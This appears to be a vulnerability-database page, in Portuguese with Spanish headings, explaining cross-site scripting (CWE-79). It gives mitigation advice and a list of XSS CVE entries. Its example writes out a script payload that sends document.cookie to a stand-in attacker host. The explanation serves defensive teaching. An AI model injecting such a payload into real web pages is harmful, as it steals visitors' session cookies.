Fallos del tipo CWE-79

30.259 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-46410MEDIUMPublicCMS V4.0.202406.d was discovered to contain a cross-site scripting (XSS) vulnerability via a crafted script to the Category Managment EPSS 0.3%CVE-2025-3782MEDIUMCision Block <= 4.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via id ParameterEPSS 0.3%CVE-2024-52268MEDIUMCross-site scripting vulnerability exists in VK All in One Expansion Unit versions prior to 9.100.1.0. If this vulnerability is exploited, aEPSS 0.3%CVE-2023-52178MEDIUMWordPress WP Affiliate Disclosure Plugin <= 1.2.7 is vulnerable to Cross-Site Scripting (XSS)EPSS 0.3%CVE-2026-35208MEDIUMlichess.org has an Unsanitized Stream Title Injection on /streamerEPSS 0.3%CVE-2024-13135MEDIUMEmlog Pro Subpage twitter.php cross site scriptingEPSS 0.3%CVE-2024-24930MEDIUMWordPress Buttons Shortcode and Widget Plugin <= 1.16 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2023-51404MEDIUMWordPress My Agile Privacy Plugin <= 2.1.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-25098MEDIUMWordPress PB oEmbed HTML5 Audio Plugin <= 2.6 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-24931MEDIUMWordPress Before After Image Slider WP Plugin <= 2.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2023-52193MEDIUMWordPress Page Builder: Live Composer Plugin <= 1.5.23 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2026-40179MEDIUMPrometheus: Stored XSS via metric names and label values in web UI tooltips and metrics explorerEPSS 0.3%CVE-2025-5972MEDIUMPHPGurukul Restaurant Table Booking System manage-subadmins.php cross site scriptingEPSS 0.3%CVE-2024-56274MEDIUMWordPress Astra Widgets plugin <= 1.2.15 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-4262MEDIUMPiotnet Addons For Elementor <= 2.4.28 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple Widget AttributesEPSS 0.3%CVE-2026-82867MEDIUM@pdfme/schemas before 5.5.9 Cross-Site Scripting via SelectEPSS 0.3%CVE-2025-26987HIGHWordPress Frontend Admin by DynamiApps plugin <= 3.25.17 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-4983MEDIUMOpen VSX Registry does not sanitize SVG files uploaded as extension icons prior to storage, and serves them with Content-Type: image/svg+xmlEPSS 0.3%CVE-2025-3860MEDIUMCarDealerPress <= 6.8.2505.00 - Authenticated (Contributor+) Stored Cross-Site Scripting via saleclass ParameterEPSS 0.3%CVE-2025-59839HIGHStar Citizen EmbedVideo Extension Stored XSS through wikitext caused by usage of non-reserved data attributesEPSS 0.3%